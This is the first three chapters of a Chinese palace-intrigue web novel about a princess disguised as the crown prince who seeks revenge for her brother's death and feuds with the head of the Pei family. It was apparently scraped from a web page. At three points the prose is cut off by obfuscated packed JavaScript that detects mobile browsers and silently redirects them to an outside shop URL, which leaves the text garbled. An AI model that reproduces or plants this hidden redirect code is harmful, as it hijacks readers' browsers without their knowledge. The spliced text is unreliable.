《掉马后和死对头HE了》 1. 血债 寒风扑打在窗上,松动的木框不停地撞动,发出哐当哐当的急响。 李相筠眉心蹙了蹙,才缓缓睁开眼睛。 头顶的丝质承尘已经破损,从抽出丝的窟窿望出去,依稀看见幽暗的房梁转角处一只硕鼠的尾巴正悠哉地扫来扫去,无端将陈年的灰尘扫落,惹来她一阵急咳。 咽喉干涸就像皲裂的砂土,让她面露痛苦,撑臂挪下床,几个踉跄奔至废殿中央那张方桌旁,抱起劣质粗糙的提壶,直接往嘴里灌,可半晌连一滴水也没有抖出来。 自从传出皇太子在外行踪不明盖因她早年就叛逃的舅舅勾连外敌所为,她便被关在这里三日了。 寒冬没有吃食、炭火也就罢,连水也告罄了。 最重要的是耳目闭塞,她什么消息也不知道。 皇兄当真会出事吗? 她颓然把壶往门的方向一砸。 “哐——”“哎呀我的脚!” 紧闭的殿门不知什么时候被推开了,一名戴后山冠的宦官缩回脚,正怒瞪于她。 李相筠掩着唇低咳不止,泛红的眸底一片冰冷。 内侍省的人来了。 烧着的炭火搬进两盆,高背檀木椅也铺上了软垫,内侍监在毕恭毕敬的儿孙们伺候下,舒舒服服端坐在李相筠面前。 杯盖拨动,热雾混着茶香飘到李相筠鼻端。 她单薄的身子一动不动。 面白无须,面皮红润的宦官捏着嗓音,异样阴柔:“听闻太子出事前曾寄过一封书信于殿下,是否?” 这些宦官在宫中耳目众多,即便是东宫也做不到固若金汤,皇兄从前线送回了一封信和一个匣子不是秘密。 但他们不知晓,那信中是皇兄对她的嘘寒问暖,那匣子里边装着预备给她换回身份后的钗环脂粉。 她的身份其实是为大黎皇室而不容的公主,并非真皇子。 “是。”李相筠以干哑的声线回道。 “信呢?” “烧了。” “烧了?”内侍监一愣,随即面露难色,“这就不好办了啊,殿下可知外边都在说是您与那逆臣里应外合出卖太子殿下,才致使他的路线被敌人摸清,两千护卫誓死保护殿下,遍地的残肢断臂,血流成河呐!” 最后一句话,他拔高了音量,凶煞迫人。 在他身后的小宦官纷纷下饺子般扑通跪下,口里呼道:“干爹息怒”、“二祖宗息怒” 李相筠面色苍白,唇瓣上斑驳着血红的色块,乍一眼看,就好像已经成了厉鬼,在这寒冷的夜风两袖翻飞,诡异非常。 “我与卫衷素无往来,也做不出这通敌卖国之事。”李相筠身上一阵冷一阵热,那无烟的炭火也熏得她喉咙一阵阵发痒,她涩声道:“我是大黎七皇子,与皇兄向来兄友弟恭,何况,此事与我有何利?” 太子皇兄就是她在宫里唯一的依靠,他们“兄弟”情深,众人却宁可信她居心叵测。 “哈!”严内侍搁下茶盏,站起来怪笑一声,唇角掀起讽刺,“有大干系呐!” 他从袖子里抽出一封信夹在两指间,露给她看。 “这封是殿下舅舅写的信。” “贤甥相筠亲启” 望见上边陌生的一行字,李相筠忽觉寒意透骨,失去知觉的指尖都痉挛了几下。 严内侍不慌不忙从已经撕开的口子里抽出信纸,抖了几下才展开,捡出一段柔声读道:“……吾每闻汝母子于宫中备受欺凌践踏心如刀绞。” 李相筠低覆的长睫痛苦地颤动了几下。 受卫家牵连,幼时与母妃在宫中艰难乞食,备受屈辱,她们在宫里过得连最下等的宦官都不如。 “吾恨不得上九霄,杀昏君、血宫庭,以慰我卫家满门忠魂!”严内侍冷笑了下,不以为然,很快又扬高了嗓音大声宣道:“……幸得吾甥来信,指以明路,得以重创大黎太子,来日亦可图谋大业!” 这样一封大逆不道的谋逆之言,一句句都如惊雷一般砸在耳畔。 李相筠牙齿打颤,恶寒犹如千万条虫子在她身体里肆无忌惮地游走冲撞,冷汗滚滚而落。 这封信错漏百出,令她更不信太子皇兄会出事。 这是要诛父皇的心,要她的命! 李相筠狠狠咬住颤抖的齿关,生死关头竟让她窥到了一丝破绽,她嗓音沙哑着反问:“太子皇兄在外,行事皆为隐密,莫说是旁人,就连兵部也不会知晓,我尚在千里之外,皇城之中,如何晓得?” 严内侍眯了眼,忽而又好声好气劝道:“是呐,所以七殿下收到的那封信至关重要,您要不再想想,是否放在了别处,只要找到信,信上确实没有皇太子透露的路线,您不就洗清冤屈了吗?” 言辞恳垦,像足了真心实意为她考量。 信,又是信。 李相筠算是明白了,能让这位圣人最信赖的内侍监在这寒峭的天气“移驾”至这偏僻的废殿来就为的一封来自皇太子的信。 但她也知道,他们所要的断不会是皇兄写给自己的那封。 “我与严内侍素无交情,如何能劳架如此费心费力来搭救我?” 李相筠抬起眼睫,掩唇咳了几声,冷声道:“你要的信,是攸关你们自己性命的吧?” 严内侍蓦地把手边的茶盏扫落,好大一声响。 他颈部青筋暴起,爆喝一声:“信呢!” 李相筠干咳几声,哑道:“严内侍想必已问过我身边伺候的宫人,何必还来此问我?” “干爹,这竖子幼时在禽鸟园那般难的环境都苟延残喘活下来,后面还巴结上太子,可见狡诈,”刚被破瓦壶砸了脚的宦官恶狠狠道:“他满口胡言,一个字都不可信啊!” 严内侍立刻冷笑一声:“咱家为干爹统管玄扇司,就没有问不出来的情报!” 吕山立刻机敏地揣测出严内侍的用意,眉开眼笑道:“欸!干爹说的是,来人啊!——” 几个玄扇司大步进来。 两人拽住李相筠的胳膊,预备把她往外带,竟是光天化日就要对她用刑! 那封信究竟写的是什么,竟让他们如此不管不顾?! 李相筠震惊之余,也生出怒意,“大胆,我乃皇七子,圣人在上,你们这些阉党敢动我?” 玄扇司不听她号令,直接把她拖了出去。 老宦官等人给他披好红面大氅才走出门,在呼呼寒风中不咸不淡道:“圣人特命我等彻查逆贼卫衷之事,不敢不从啊。” 废宫外的庭院荒芜,杂草横生。 机灵的小宦官早就摆好了春凳,玄扇司的人拿起仗棍,侯着人把李相筠压好。 李相筠不过十四五岁,哪抵得过玄扇司好手的力气,像是砧板上的鱼被按得死死的。 第一棍下去,她就猛的咳了声,喉咙里涌出甜腥的味道,又被她死死咬住。 冷汗与眼泪齐齐流了下来。 皇兄,她要等到皇兄回来。 皇兄会信她绝不可能与逆贼勾结,更不会背叛他。 她也不信这些阉狗真敢在太子回来前打死她。 严兴良看春凳上的小皇子已经面色惨白,冷汗就跟下雨一样滚滚而落,虽然玄扇司控制了力度,但也能叫他痛不欲生。 “信上太子写了什么?!”严兴良半蹲在旁边,趁机逼问。 李相筠在惊怒与剧痛早已陷入了半昏沉中,神思如小舟在湍流江河中不断沉浮。 听耳边人一问,缓缓答道:“……皇、皇兄要我保暖莫要贪凉,记得、记得每日好、好用膳,按时练功读书,他、他回来要查验。”她哽咽,不知是被这一棍棍廷杖逼出来的,还是要凭着那点思念才能坚持不昏迷过去,她声如细丝:“不要、不要贪食栗子,不好克化……老、老师腿脚不好,拿些玉化膏……” 严兴良眉头紧锁,打断他道:“太子特意让人转了三条路,千里迢迢送到内宫,贴心忠实的金执卫同知亲自送来,就写这些不相干的事?!” 李相筠睁开眼,汗水模糊了视线,她看见老宦官面孔紧绷,一双精光四射的眼睛如毒蛇般盯着自己。 “你靠近些,我说给你听……”李相筠虚弱道,严兴良凑上来。 李相筠趁此机会“呸”了声,把血水吐在他那张令人作呕的脸上,狠狠道:“我与皇兄……”她痛得抽了口气,“我与皇兄手足情深!与你们何干!” 严兴良显然是愣了下,随后面露凶相。 这个七皇子当年只有六七岁,已经阴狠毒辣,诱杀了他的好兄弟,果然是一条难以驯服的疯狗。 这事因太子阻拦,干爹才一直没有寻到机会报仇。 他用力抹了把脸,最终还是按下心思,阴沉道:“匣子呢?那匣子里装的又是什么,殿下该不会也说失手烧了吧?” 那是与她性命攸关的东西,李相筠藏得很好,没有叫人翻出来,她阖上眼睛不欲回答,她本就是强弩之末,只剩下喘气的力气。 严兴良站起来,失去耐心,指道:“都用心了打!今日问不出东西来,你们一个两个都没法给圣人交差!” 众人在寒风中肃然应是。 李相筠咬紧牙关,正等着廷杖落下,先听见一连串脚步声,沉沉砸在被冻得发硬的青石砖面上,让人心跳不由跟着乱跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782245|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “且慢,手下留人!” “欸,怎劳干爹亲自来了?” 先前那人顿了下,方压低声:“刚传来消息,太子殿下的尸身寻到了,正在运往盛京城的路上,圣人要见七殿下。” “怎么会!”严兴良乍惊还恐的声音响起。 惊的是皇太子已死,恐的是他们再不能肆意对待皇帝仅剩的这位七皇子了,即便他曾经是多么不得皇帝重视与喜爱。 而李相筠撑着一口气听到皇兄的消息,便彻底昏厥过去了。 / 正元二十四年,在冬至过后几日,这夜肃冷,偏一片雪花也没有落下,灰暗浑浊的天透不出月辉与星光,天地间死气沉沉。 殿内,火光跳跃,人影被抽成了细长的鬼魅,在四方的墙上张牙舞爪。 当—— 一记撞钟声从窗外由远处荡来,殿内压抑的呜咽声如决堤的洪水,伴随着不详的丧钟逐渐泛滥。 钟声弥散,被打断的话才被人艰难续上, “……太子殿下一直牵挂七殿下……曾有言,令臣等皆为殿下差遣!” 最后的一句话虽掷地有声,但带有一分不易察觉的不甘。 毕竟太子是何等的惊华绝艳,与身世坎坷的七皇子本就有云泥之别,换做任何人,都会选择奉前者为主。 被一架立式的屏风、几道被风吹动的素幔隔开寝殿内外,外边的人伏地哭泣,里边的人怔怔望向面前的铜镜。 倘若换作其他人,面对东宫花十年时间调教出来的执金卫投诚一定会欣喜若狂,但李相筠做不出任何反应,她的注意力全在铜镜里那张陌生的脸上。 光亮的镜面正映出一张病后苍白的瓜子脸,半边的脸颊上肿红的巴掌印突兀。 因为怔愣,那双略圆的眼睛撑出柔和的弧度,但眉峰的转折又化去眼型的温柔,带出几分清冷和戾气。 而那两片唇瓣染着深浅不一的艳丽口脂,就像手生的人胡乱涂抹上去的,故而厚薄不均。 外面钟声模糊远去。 她耳边忽而响起一声笑,那道熟悉的声音响起: “皇兄一定会让你恢复身份,光明正大站在人前。”太子在殿门口,回头微笑:“明年开春,就是你的及笄之年,那时候等我……” 当—— 又一道沉重的钟声荡来。 李相筠眼睫一颤,凝向镜中那抹刺眼的红。 皇兄他身边有那么多强壮的护卫,还有那么多优秀的谋士,是什么样的陷阱围剿能逼他入绝境? 还有他身上那印记…… “殿下,还是、还是早做打算吧!” 贴身侍女哽咽的声音惊醒她,李相筠松开紧攥的手指,低头看着手心被掐出来的红印。 是啊,太子一去,她的身份随时会被暴露,届时那则真凰褫龙的谶言就是她的夺命符,她的下场就如那些死在父皇手下的皇姐们。 可是要她就此逃开一切,又怎能甘心! 那封信究竟是什么? 夜风从窗口吹入,拂动她头顶的发丝,宛若有一只手轻轻盖上。 ——“你可知道为兄有三愿?我啊,一愿天下海晏河清,二愿万民安居乐业,三愿阿筠能成为大黎最自由快活的小公主!” 李相筠猛地抬起头,却只看见铜镜里自己孤单的身影,再无旁人。 太子皇兄的笑音也在一声声钟声中淡去。 刺骨的寒凉冷透她的骨肉,她低下头,忽而就眼睛一酸,控制许久的眼泪如决堤的洪水疯涌出眼眶,在脸颊上流淌而下。 时至此刻,她才意识到自己真的,没有皇兄了。 良久,李相筠模糊的视线再次对上铜镜,她缓缓抬起手,却没有拭去眼泪,而是用沾了泪的拇指按在唇角。 由右向左一点点,抹掉口脂的颜色,抹去自己已不切实际的心思,更抹掉最后一点女儿家柔软的心肠。 艳红从唇上抹去,却凝在她的双眸中,她起身,缓走出内室,立在屏风前。 扶着太子冰柩跋涉而返的执金卫统领身上还有恶战后未痊愈的伤痕,一双失去神光的眼睛更是落魄失意,木然跪在风中。 而侍奉李相筠的宫婢、内宦个个都红着肿胀的眼睛,担忧地望着那单薄如纸,仿佛一阵风雨就能被撕碎的小主子。 “皇兄的死必有蹊跷,我不走,我要查个清楚,倘若……”李相筠的双袖被风振动,她双目疯狂,咬着声一字一顿道:“我定要他们,血债血偿!” 呼啸的风穿堂而过,带来了几片冰冷的雪花。 一场肆虐的暴雪,骤然降临人间。 2. 初见 秋风起,北雁飞。 长安城门俱开,迎来送往,热闹非凡。 离金光门不远处西市口,杏袍道士神叨叨捋着山羊胡须,为一双壁人掐指一算,侃侃而谈:“今日诸事皆宜,是个好日子!最宜姻缘……” 然他话音才落。 轰隆轰隆—— 一队披黑甲的骑兵簇着一名穿红色圆领袍的郎君疾奔而来,扬起的灰尘把道士雪白的胡子都弄得乌七八糟。 道士不由“呸”了声,吐掉口里的尘土。 旁边的行人商贩一看这阵势,皆暗道:不好!是太子来了,又是哪个背运的要倒霉! 怕倒也不是很怕,三年来的经验再加上看热闹的心思让他们只是稍稍挪开了点地方,容这群“凶神恶煞”的执金卫停留,而后个个伸长脖子,顺着他们视线的方向好奇张望。 远方旗帜展展,车轮辚辚,一支队伍正有条不紊地通过关卡进入长安城。 陌生的装束显出远方来客的身份。 一名侍卫从队伍前方绕到中部,伴着一辆马车前行,隔帘抱拳:“禀家主,太子来了。” 里边的人还未开口,旁边骑马的中年文士就道:“这太子究竟是莽撞还是疯了,居然第一天就带着人堵在城门。” 文士的话落后,一只手才不慌不忙挑开帘子。 不见人出来,只有一截流云纹的袖摆随风微晃,里边的人似是往前看了一眼,就平静道:“无妨,若太子不出声,直接过去便是。” 那人便回道:“不错,我们初到长安,不识得“贵人”情有可原,若是他仗势欺人,明日御史就该弹劾他了。” 眼不斜视的裴家侍卫护着车队就要从边上经过,李相筠冷眼旁观,手腕快速绕了下缰绳,马便往后仰起了脖颈长嘶一声。 这数百名裴家侍卫提刀负弓,骑着膘肥的大马,步伐齐整,训练有素,竟也毫不逊色东宫的近卫。 从前藩王遍地,拥军自重,如今皇权集中,将藩王拘在长安,倒是让这些世家死灰复燃。 东萧西裴,北谢南顾,无一不是名声在外。 这些世家有钱有权有兵,成了皇室倚重却也忌惮的力量。 李相筠确实没有出声,而是将手里的长鞭突然从侍卫队列的缝隙中一下甩出。 那鞭子不但格外长,而且挟着凤啸龙吟的戾气,一听便知道是件了不得的利器。 啪—— 拉马车的棕马骤然遭遇偷袭,顿时蹽起前蹄,惊慌长嘶,逼停了车队。 文士险些被带歪的车厢撞下马,手忙脚乱稳住身,就忍不住对着始作俑者张口欲言,“你——” “五叔。”车厢里的人及时出声制止他的冲动。 裴家五爷忍气吞声退后。 李相筠听这二人简短对话,方知道裴家真正拿主意的裴家主竟还稳坐车中不露面,于是移目望向那犹在摇晃的帘子。 “阁下好大的排场,金光门往来行人皆要让道,不知道的还以为是节度特使来了。” 她环视一周,裴家侍卫把手都按在了刀上,她笑了起来:“长安城不同其他地,天子脚下,要懂规矩。该走什么路,不该什么路,什么人能拦,什么人不能拦,都要掂量清楚!” “郎君特来提点,还真是我等荣幸。”车帘这时候才一挑,走出位穿宽袖袍子腰玉带的年轻公子,还没等人看清他的脸,就见他先作了一揖。 他身量高,两肩宽阔兼臂膀修长,这一礼做得行云流水,说不上来的赏心悦目。 再抬起来竟是一张俊美温润的笑脸,就像是那些没有经历过摔磨抗打,被保护在家族当中,只知道吟风弄月的公子哥。 裴家主不该是这样的人。 李相筠本能地想。 而正在她疑惑之时,对方亦直了身,在观察她。 大黎皇室说来也是惯出美人,无论男女都生得姿貌绝伦,而且男生女相者大有人在,就说怀贤皇太子也是如此,众人表面不说,背地里都要说若这个皇太子是个女人,怕是要比他那个倾国倾城的母后还要动人。 现在这小太子虽说比不上怀贤皇太子的美,也足够称得上是一张相当精致好看的脸,只是眉目中有戾气,看着就不好相与。 传闻说他矜高倨傲、恣肆无忌怕不是空穴来风。 “既然你如此受教,我就再点拨你几句,”李相筠将鞭子缠了回来,毫不客气地给他指点,“根在哪里,就长在哪里,花盆固然精致好看,到底不是久留之地,甘泉仙露贪多,小心烂了根,得不偿失。” 被指点的人依然八风不动,甚至连脸上的笑容都没有淡去一分,缓缓道:“郎君此言差矣,那还要看盆有多大,甘露有多少了。” “阁下这是坚持己见,不肯听劝了?”李相筠策马横于车前,两眼微眯:“若我要拦呢?” “我要走,郎君要拦,无非一种结果。” 李相筠默不作声盯着他,裴承将笑容扩大,连带着那双好看的眼型都微弯出了个温润的弧度,徐徐吐出四个字:“各凭本事。” “——来人,砍马 李相筠被他紧接着一变的语调惊了下,余光就见离自己最近的两名裴家侍卫毫无停顿,似是连思考权衡都没有,直接握紧刀柄,下一瞬两把寒光森森的刀背已经朝她的马劈来。 随着坐骑痛嘶的声音,她的身子也随马前扑的趋势往下栽。 失重的一刹那冷汗遍布后背。 幸得她自幼骑术是由皇兄请来的名师教导,在这遇险的瞬间她把脚迅速后勾离开马镫,借腰部的力量往侧边一扭,从马鞍上抱头翻滚了下去,沾了一头、一身的灰。 四周顿时死一般沉寂。 就连不懂事的孩童都懂事地闭上了喋喋不休的嘴。 这变故让人不知所措。 “主子!” 执金卫们全惊出一身虚汗,翻身下马,用刀隔开裴家护卫,统领邓谦单膝跪在李相筠身侧,低声询问:“属下失职,主子可有事?” 他们确实轻率了。 一来是事态发展实在太快,从那裴家主面目温和说完“砍马”两个字到太子摔马不过三息的功夫,二来没人料到居然有人真的敢当街对太子下手。 李相筠在地上坐了片刻,咬牙道:“无事。” 被人扶了起来,她挑起眼睛又直直盯着站于上方的裴承,那张雌雄莫辨的脸上非但没有露出怒容,反而在唇角勾起一抹奇异的笑。 裴家主当真有意思。 说最温柔的话,下最狠的手,长着一张君子相,却是蛇蝎心。 不管此人是不是他们请来的救兵,这梁子,他们都结定了! “殿下,都官司来人了……” 李相筠收回目光,听身边的人报告,面色沉凝,很快就有了取舍。 裴家人才到长安,往后还有的是机会交手,不急于一时。 是真不知情还是装不知道,反正他们今日固然是痛快了,但明日也该登门谢罪了。 太子一行人呼啸而去,裴五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782246|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷靠上前,撩开车帘往里面看: “执玉,一来长安就把太子彻底得罪了,不太好吧?” 裴承正坐在位置上,用温热的湿帕擦手,好像那是他最要紧的事。 “我们来长安本就是要站在他的对立面,更何况太子今日这一招可不是莽撞。” 裴承把帕子一丢,“他就是要让人看清楚东宫的立场,与我们裴家结交就是与东宫为敌。” “下马威。”裴五爷皱眉道,显得有几分忧心。 裴承却没放在心上:“倘若我们没有与东宫结仇的底气,又有什么能耐让人信服我们?与我们合作?” 裴承的话让裴五爷频频点头。 “是这个理。” “刚刚那叫走太子的人,是你的人?” “不错,太子要找人证,我便为他送上人证。”裴五爷颇为得意自己的手段。 裴承抚平袖子上的褶皱,瞧了他一眼,“太子既有本事把上一个府尹扯下去,也会盯紧你。到了长安,就少沾那些女色,色字头上一把刀,他要斩你,多的是刀使。” 裴五爷刚得意就泄气,压低了声,嘟囔道:“我几个新妾正是缠人呢,哪有空到外边招花惹草。” 被小辈提溜着教训这些房里事,裴五爷面上无光,轻咳了声,“别说我,倒是你都这个岁数了还孤枕独眠,族中选的你又不喜欢,难道真要在长安里挑一个?喏——那边有辆马车,不知谁家女郎,瞧着这边许久,定是在看执玉你。” 裴承移目望去。 在一家名为柳云裳的成衣铺前停着辆四角挂铜铃的桦木马车,车帘掀了一角,露出张花容月貌的小脸,云鬓间一只顶珠竹节钗被光照得发亮。 与他视线刚撞上,对方就跟兔子样逃了去,一下藏在了车帘后。 一侍女从马车旁一路小跑过来,裴家侍卫欲拦下,裴承却命人放行。 “我家女郎说,适才郎君得罪的是太子殿下,太子……”侍女顿了下,到底不敢在大街上说太子的坏话,就委婉道:“郎君还是早些去赔礼道歉,以免太子迁怒。” 原来是看见他们与太子发生冲突,以为他们不知内情特来提醒的。 裴五爷神色暧昧地看向裴承。 还说他,恐怕到这长安,第一招蜂惹蝶的就是他裴执玉本尊了。 裴承语气温和:“多谢灵宛郡主提点。” 侍女离开后,裴五爷惊奇道:“还说不在意,你竟知那女郎身份?” “十八年前章平太子刚薨逝,陛下罹患怪病,久治不愈,太史监出了一则真凰褫龙箴言,陛下深信道言,雷霆震怒,一旨将所有公主赐死,宗室中的郡主县主纷纷外嫁,脱离皇室身份,唯有灵宛郡主恰是这年出生,被送去京郊道观,由女冠抚养。” 裴五爷感慨:“甚是可怜啊……” 但比起被赐死的公主们,这位郡主还算命好,等到了回家的一日。 “不过这与你知道她又有什么关联?” 裴承没有回他话,一只手随意搭在膝头,回忆起从前,目光便柔和下来。 既是那人最疼爱的妹妹,他会好好照拂的。 过了片刻,裴承重新开口:“明日再正式登门吧。” 裴五爷脑子还没转过弯,往马车里望:“去赵郡王府?” 雪白的小兽睡眼惺忪地从袖袋里爬出来,一溜烟攀上青年肩头。 然后被主人的指.尖揉得吱吱叫。 裴承笑了声,慵懒道:“去东宫,谢罪。” 3. 为敌 大明宫东华门内是太子东宫。 东宫内外不与内宫用一套禁卫,而是由怀贤皇太子在正元十年统建的执金卫,统领由东宫左庶子兼任。 轮岗的执金卫穿着统一的黑金卷波纹圆领袍,腰间皮革躞蹀带上挂有镀金铜牌,手扶大刀拦于裴家众人面前。 裴五爷朝后使了个眼神,随从立刻奉上拜帖,但是拜帖入东宫就好比石头沉潭底,一去不返,连声响都没有。 秋日晴空,日光亮得刺眼。 裴五爷腿都站酸了,扭头看身后的裴承,见他面无表情,辨不出喜怒。 “我看这个太子我行我素,只怕不会给你我半分面子。”裴五爷不解地拧起眉头,理了理衣襟,昂首道:“他身后又没有母族撑腰,朝中势力还小,怎么还会飞扬跋扈得不像话,我好歹也是朝廷从四品的官……” “看见门口那些侍卫了么?”裴承打断他滔滔不绝地抱怨。 裴五爷不解:“看见了,怎么了?” “怀贤太子用了十年时间所建,其挑选训练严苛,制度完善,可与听命皇帝的玄扇司并称,有这样得力的刀在手,他如何不会飞扬跋扈?” 裴五爷默了声。 裴承又道:“那日看见太子身边的执金卫好像都不是旧人,变动不小。” 三年前太子遇险身故,叛臣卫衷的亲外甥,一身嫌疑的皇七子受盘查审讯一个月后就被放了出来,执金卫迅速倒戈,拜他为新主。 很难不让人多想,是否在很早之前,原本忠于皇太子的执金卫就已经有了二心。 “听说原本那个执金卫统领受审的时候就哑了,玄扇司把他打得遍体鳞伤也没有问出东西。”裴五爷恰好知道这件事,不由说了出来。 “这便更奇怪了。”裴承微微一眯眼,凝视东宫的大门。 两座玉石狮雕昂首威武,往上是高台漆柱顶着出挑的大檐。 阴影笼罩,灰暗一片。 裴家人在东宫门口太阳底下晾着时,李相筠正坐在一颗枝繁叶茂、硕果累累的枣子树下,石桌上摆着一盘还沾着水珠的新鲜枣子。 “昨日我审了那几个乡人,都是些鸡鸣狗盗之辈,证词也是胡编乱造,平白浪费我时间……没想到区区一个小监丞背后这么多人作保,就连裴家人都冒了出来。” 她对面的男子一只眼睛被蒙在黑布罩里,露出的半边眉心深锁不展。 李相筠捏了个枣子在空中抛了抛,自说自话:“我知道,当年皇兄出事的地方就在裴家的地盘,皇祖父废藩王制,而将世家委以大任,家族各支互相监督互相制约,将辖地管得犹如铁桶一般。裴家断不会出现让叛臣带着敌军长驱而入的可能,可见这个裴家嫌疑不小。” 男子点了点头表示赞同。 这时熟悉的脚步声靠近,他微侧过头,一名身着布裙头带木钗的娘子端着两杯热茶,脚步一深一浅走近。 她扬唇笑了笑,脸颊上两道突兀的刀痕也不损她温婉可亲,只添了些历经沧桑的沉稳气度。 李相筠瞧了瞧,道:“芷姐看着气色不错,想来搬到这里确实不错。” “我与沈郎都喜欢此处幽静偏僻,只是苦了殿下来回奔波。”辛芷放下两杯茶,与那哑巴男子对视了眼,不用言语,默契尽在眼里。 “无妨。”李相筠把枣子塞进袖袋里,端起茶杯啜饮了起来。 粗茶苦涩,她却像是没有品出来,喝得面不改色。 辛芷露出了心酸的神情,“殿下倒是看着更瘦了,宫里的人可是没有用心伺候?” 李相筠放下杯子,笑得没心没肺,“我现在是东宫太子,谁不赶着想伺候我,只是我不耐烦他们叽叽喳喳,管个没完。” 她把手杆子往外一伸,“我有手有脚,倒水难道都不会吗?” 她是过过苦日子的人,跟鹅打架,和狗抢饭,所以吃饭喝水这样的事情用不着别人喂到她嘴边上。 在东宫,三道门内,寝殿书房就是她的地盘,寻常不让人入内,连执金卫都只能在外面看守。 “当初殿下就不应该把奴婢们都放出宫去,现在连个贴心伺候的人都没有,那边的邓统领……”辛芷的手臂被人拍了拍,哑巴男子冲她摇了下头。 辛芷就打住了口,只是神情中还有担忧。 那个邓谦浑身上下都浸着“利益”二字,这样的人只会唯利是图,而不知道忠心。 他跟在太子身边,怎能让人放心。 李相筠把目光往后放,站在葱绿菜圃旁边有两名穿着执金卫服饰的挺拔男子,一个是她亲自任命的统领邓谦,另一个是邓统领提拔的千户,两人交头接耳了一阵。 “何事?”李相筠扬声问。 邓谦马上扶着刀快步上前,俯身道:“是裴家人投帖拜见。” 和太子说话的时候,他的目光一次也没有往旁边乱瞟,似是不认识桌子另一边坐着的人就是他曾经的上峰。 “知道了。”李相筠早有预料,因此还不紧不慢道:“看见沈统领怎么不打个招呼?” 邓谦立马转了头,对着沈承铭拱手行礼,“见过沈统领。” 辛芷紧抿着唇瓣,沈承铭凝视着这个曾经几度要被他驱逐出去的下属,最终还是轻叩了石桌。 这是承礼的意思。 护送太子从僻静小道一路走向马车,邓谦仍在揣测太子带他来见沈承铭的用意。 李相筠站在车边,回首掀唇一笑,“知道为什么当初孤要用沈承铭都不看好的你吗?” 邓谦眼睛动了动,“属下不知。” 李相筠平静道:“你有野心,孤欣赏你为利不择手段,君子做不来的事,你做的很好。对孤而言,品行良好的臣子可以有很多,但是趁手的刀却少得,你明白吗?” 邓谦心领神会,马上道:“属下明白,殿下可有什么吩咐?” 李相筠扶着车壁,唇边噙着冷意,“他用三条人命就想阻孤的路,孤倒要看看,他是不是真是铁石心肠的人。” 她道:“那监丞有个八十的祖母尚在人世,找出来。” 邓谦抱起拳,利索应道:“是。” 马车停在东宫门口,裴家人的车马还没有离开,李相筠就当做没有看见裴五爷的笑脸,头也不回地往石阶上走。 昨天在中阳门,裴家与东宫起了那么大的冲突,怎么可能一笑泯恩仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782247|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 哪有那么便宜的事儿。 “殿下。”声音一道清润的嗓音,不急不躁地传来。 李相筠闻若未闻,只是在他们看不见的脸上挂上了一丝冷笑。 “殿下脚步匆匆,可还在为国子监,学子上吊自焚的事烦心?” 李相筠已经踩在最高的阶梯上,两排高大的执金卫在其身侧扶刀捍卫,无形中施加给人压迫感。 裴承却似没看见,继续道:“国子监是天下文心所向,文死谏帝王亦无策,殿下若想在春祭时替帝献帛,以证正统,就不得不摆脱这逼死学子的污名。” 李相筠终于转过身。 她自上而下俯视着裴承等人,那张雌雄莫辨的脸上散漫随意,目光更是充斥着不屑。 “根还没扎进土里,花也没有开成,就开始随风招展,这可不是什么好事。” “顺风而展,天地自然,倒是殿下逆风而行,就不怕吗?” 裴承站在下边长袖微动,气定神闲,没有一点被太子气势压倒的局促与不安。 “孤有何畏?” 李相筠声线清朗,她昂着下巴,目光闪烁着异色,“国子监是教学子们为人为官的地方,不是教他们颠倒黑白的地方,孤是大黎皇太子乃不争之事实,若几张嘴皮子一碰,再叫几人往梁上一吊就能叫储君异位,岂不是滑天下之大稽。孤不怕,死几个人罢了,他们都不怕手染鲜血,孤又怕什么呢?” “死人嘛,人总会死的。”李相筠又笑了起来,话音一转,“裴府尹,你初来乍到就接这棘手的命案居然还有心情在东宫门口耽搁一个时辰?” 裴五爷一愣,不知道怎么话头就转到了自己头上,连忙正经道:“昨日下官不知是太子殿下,多有冒犯,今日特来赔礼道歉的。” 他说完,还用胳膊肘捅了捅旁边站着不动的裴承,让他也做出道歉的样子。 表面功夫得做好嘛。 李相筠没料到这裴府尹竟如此迟钝,目光不由在裴承与他身上打了个来回。 再看见他们身后的几车礼物,已猜到他们的心思。 不外乎是听说了她的脾气,知道她爱恨分明,没那么好说乎,礼物没准备下车,随时准备打道回府,就装个样子。 “也罢,礼孤收了,进来侯着吧。” 李相筠看裴五爷陡然一变的脸色,笑得越发恶劣:“等孤换一身衣,一道去义庄看那几个自焚上吊的学子。” 也不说接不接受所谓的赔礼道歉,反而冷不丁抛出了个难题。 裴五爷虽是刚刚接过这京兆尹这顶官帽,但是也是熟读律法,顿时追上前惊恐喊道:“殿下,这不妥当!” 